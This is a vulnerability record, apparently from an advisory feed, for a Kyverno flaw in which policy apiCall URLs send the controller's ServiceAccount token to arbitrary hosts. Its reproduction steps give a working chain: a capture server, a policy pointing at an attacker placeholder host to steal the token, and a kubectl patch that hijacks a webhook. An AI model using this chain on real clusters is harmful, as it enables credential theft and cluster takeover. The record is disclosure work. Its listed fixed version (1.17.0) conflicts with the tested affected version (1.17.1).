{"id":"CVE-2026-41323","aliases":["BIT-kyverno-2026-41323","GHSA-f9g8-6ppc-pqq4","GO-2026-5351"],"url":"https://o3.security/vulnerability/CVE-2026-41323","summary":"Kyverno: ServiceAccount token leaked to external servers via apiCall service URL","details":"## Summary\n\nKyverno's apiCall feature in ClusterPolicy automatically attaches the admission controller's ServiceAccount token to outgoing HTTP requests. The service URL has no validation — it can point anywhere, including attacker-controlled servers. Since the admission controller SA has permissions to patch webhook configurations, a stolen token leads to full cluster compromise.\n\n## Affected version\n\nTested on Kyverno v1.17.1 (Helm chart default installation). Likely affects all versions with apiCall service support.\n\n## Details\n\nThere are two issues that combine into one attack chain.\n\nThe first is in `pkg/engine/apicall/executor.go` around line 138. The service URL from the policy spec goes straight into `http.NewRequestWithContext()`:\n\n```go\nreq, err := http.NewRequestWithContext(ctx, string(apiCall.Method), apiCall.Service.URL, data)\n```\n\nNo scheme check, no IP restriction, no allowlist. The policy validation webhook (`pkg/validation/policy/validate.go`) only looks at JMESPath syntax.\n\nThe second is at lines 155-159 of the same file. If the request doesn't already have an Authorization header, Kyverno reads its own SA token and injects it:\n\n```go\nif req.Header.Get(\"Authorization\") == \"\" {\n    token := a.getToken()\n    req.Header.Add(\"Authorization\", \"Bearer \"+token)\n}\n```\n\nThe token is the admission controller's long-lived SA token from `/var/run/secrets/kubernetes.io/serviceaccount/token`. With the default Helm install, this SA (`kyverno-admission-controller`) can read and PATCH both `MutatingWebhookConfiguration` and `ValidatingWebhookConfiguration`.\n\n## Reproduction\n\n**Environment**: Kyverno v1.17.1, K3s v1.34.5, single-node cluster, default Helm install\n\n**Step 1**: Start an HTTP listener on an attacker machine:\n\n```python\n# capture_server.py\nfrom http.server import HTTPServer, BaseHTTPRequestHandler\nimport json, datetime\n\nclass Handler(BaseHTTPRequestHandler):\n    def do_GET(self):\n        print(json.dumps({\n            \"timestamp\": str(datetime.datetime.now()),\n            \"path\": self.path,\n            \"headers\": dict(self.headers)\n        }, indent=2))\n        self.send_response(200)\n        self.send_header(\"Content-Type\", \"application/json\")\n        self.end_headers()\n        self.wfile.write(b'{\"ok\": true}')\n\nHTTPServer((\"0.0.0.0\", 9999), Handler).serve_forever()\n```\n\n**Step 2**: Create a ClusterPolicy that calls the attacker server:\n\n```yaml\napiVersion: kyverno.io/v1\nkind: ClusterPolicy\nmetadata:\n  name: ssrf-poc\nspec:\n  validationFailureAction: Audit\n  background: false\n  rules:\n  - name: exfil\n    match:\n      any:\n      - resources:\n          kinds:\n          - Pod\n    context:\n    - name: exfil\n      apiCall:\n        service:\n          url: \"http://ATTACKER-IP:9999/steal\"\n        method: GET\n        jmesPath: \"@\"\n    validate:\n      message: \"check\"\n      deny:\n        conditions:\n          any:\n          - key: \"{{ exfil }}\"\n            operator: Equals\n            value: \"NEVER_MATCHES\"\n```\n\n**Step 3**: Create any pod to trigger policy evaluation:\n\n```bash\nkubectl run test --image=nginx\n```\n\n**Step 4**: The listener receives the SA token immediately:\n\n```\nAuthorization: Bearer eyJhbGciOiJSUzI1NiIs...\n```\n\nDecoded JWT `sub` claim: `system:serviceaccount:kyverno:kyverno-admission-controller`\n\nEvery subsequent pod creation sends the token again. No race condition, no timing — it fires every time.\n\n**Step 5**: Use the token to hijack webhooks:\n\n```bash\n# Verify permissions\nkubectl auth can-i patch mutatingwebhookconfigurations \\\n  --as=system:serviceaccount:kyverno:kyverno-admission-controller\n# yes\n\n# Patch the webhook to redirect to attacker\nkubectl patch mutatingwebhookconfiguration kyverno-policy-mutating-webhook-cfg \\\n  --type='json' \\\n  -p='[{\"op\":\"replace\",\"path\":\"/webhooks/0/clientConfig/url\",\"value\":\"https://ATTACKER:443/mutate\"}]' \\\n  --token=\"eyJhbG...\"\n```\n\nAfter this, every K8s API request that triggers the webhook goes to the attacker's server. The attacker can mutate any pod spec — inject containers, mount host paths, add privileged security contexts.\n\n## Verified permissions of stolen token\n\nTested with the default Helm installation:\n\n| Action | Result |\n|--------|--------|\n| List pods (all namespaces) | Allowed |\n| Read configmaps in kube-system | Allowed |\n| PATCH MutatingWebhookConfiguration | **Allowed** |\n| PATCH ValidatingWebhookConfiguration | **Allowed** |\n| Read secrets (cluster-wide) | Denied (per-NS only) |\n\n## Impact\n\nAn attacker who can create ClusterPolicy resources (or who compromises a service account with that permission) can steal Kyverno's admission controller token and use it to:\n\n1. Hijack Kyverno's own mutating/validating webhooks\n2. Intercept and modify every API request flowing through the cluster\n3. Inject malicious containers, escalate privileges, exfiltrate secrets\n\nThe token is also sent to internal endpoints — `http://169.254.169.254/latest/meta-data/` works, so on cloud-hosted clusters (EKS, GKE, AKS) this also leaks cloud IAM credentials.\n\nRBAC note: ClusterPolicy is a cluster-scoped resource, so creating one requires cluster-level RBAC. But in practice, platform teams often grant policy-write to team leads or automation pipelines. The auto-injection of the SA token is the unexpected part — nobody expects writing a policy to leak the controller's credentials.","published":"2026-04-24T03:21:36.265Z","modified":"2026-08-12T03:51:27.861145679Z","cvss":{"score":8.1,"severity":"HIGH","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N"},"epss":{"score":0.0056,"percentile":0.44234,"asOf":"2026-08-27"},"cisaKev":null,"exploitsKnown":0,"affectedPackages":[{"ecosystem":"Go","name":"github.com/kyverno/kyverno","fixedVersion":"1.17.0"}],"fix":{"url":"https://github.com/kyverno/kyverno/commit/bc4f91c4801b1eaa2edc0a14e2f1b0af8cf0c1f5","label":"kyverno/kyverno@bc4f91c"},"references":[{"type":"ADVISORY","url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/41xxx/CVE-2026-41323.json"},{"type":"ADVISORY","url":"https://github.com/kyverno/kyverno/security/advisories/GHSA-f9g8-6ppc-pqq4"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-41323"},{"type":"FIX","url":"https://github.com/kyverno/kyverno/commit/bc4f91c4801b1eaa2edc0a14e2f1b0af8cf0c1f5"},{"type":"FIX","url":"https://github.com/kyverno/kyverno/commit/c2eab00033e635bda4e4efb58c1b472b41728bb6"},{"type":"FIX","url":"https://github.com/kyverno/kyverno/commit/f70e8ac1e7acd2e3844f9553e4a884f07f953de0"},{"type":"PACKAGE","url":"https://github.com/kyverno/kyverno"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-08-12T03:51:27.861145679Z"}}